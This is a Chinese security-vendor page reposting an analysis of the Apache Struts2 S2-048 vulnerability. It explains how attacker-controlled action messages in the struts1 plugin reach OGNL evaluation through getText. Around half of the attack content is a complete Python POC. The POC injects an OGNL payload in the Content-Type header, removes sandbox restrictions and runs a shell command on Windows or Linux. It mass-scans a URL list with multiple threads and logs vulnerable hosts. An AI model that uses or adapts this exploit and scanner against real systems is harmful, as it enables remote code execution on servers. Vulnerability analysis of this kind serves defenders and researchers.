Struts2高危漏洞S2-048分析(附POC)_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

Struts2高危漏洞S2-048分析(附POC)

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


Struts2高危漏洞S2-048分析(附POC)

作者:n1nty 本次漏洞触发点在: org.apache.struts2.s1.Struts1Action.execute() 方法中,如下图所示。 org.apache.struts2.s1.Struts1Action 类为一个 Wrapper 类,用于将 Struts1 时代的 Action 包装成为 Struts2 中的 Action,以让它们在 struts2 框架中继续工作。 在 Struts1Action 的 execute 方法中,会调用对应的 Struts1 Action 的 execute 方法(第一个红色箭头处)。在调用完后,会检查 request 中是否设置了 ActionMessage,如果是,则将会对 action messages 进行处理并回显给客户端。处理时使用了 getText 方法,这里就是漏洞的触发点。所以漏洞的触发条件是:在 struts1 action 中,将来自客户端的参数值设置到了 action message 中。 在官方提供的 Showcase 中,就存在漏洞,如下图: getText 方法的主要作用就是实现网站语言的国际化,它会根据不同的 Locale 去对应的资源文件里面获取相关文字信息(这些文件信息一般保存在 .properties 文件中),这些文字信息往往会回显至客户端。 Action messages 会通过 getText 方法最终进入 com.opensymphony.xwork2.util.LocalizedTextUtil.getDefaultMessage(String, Locale, ValueStack, Object[], String) 方法,如下: 此方法会将 action message 传入 com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String, ValueStack)。com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String, ValueStack) 方法主要用于扩展字符串中由 ${} 或 %{} 包裹的 OGNL 表达式,这里也就是 OGNL 的入口,随后 action message 将进入 OGNL 的处理流程,漏洞被触发。 关于 POC # -*- encoding: utf-8 -*- # !/usr/bin/env python # desc: Struts-048 # link: http://bobao.360.cn/learning/detail/4078.html #Coming F11 import urllib2 from poster.encode import multipart_encode from poster.streaminghttp import register_openers import threading def poc(url): register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo dota').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}" try: request = urllib2.Request(url,datagen,headers=header) response = urllib2.urlopen(request,timeout=5) body=response.read() except: body="" if "dota" in body: print "[*]发现Struts 048漏洞,地址为:",url f.write(url+"\n") if __name__=="__main__": f=open("result.txt","a") url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()] for url in url_list: threading.Thread(target=poc,args=(url,)).start() while 1: if(len(threading.enumerate())<50): break   总结 该漏洞触发需要非默认插件 struts2-struts1-plugin 需要手动寻找程序中将客户端参数值添加入 action message 的点   本文由 安全客 原创发布,如需转载请注明来源及本文地址。 本文地址:http://bobao.360.cn/learning/detail/4078.html

Struts2高危漏洞S2-048分析(附POC)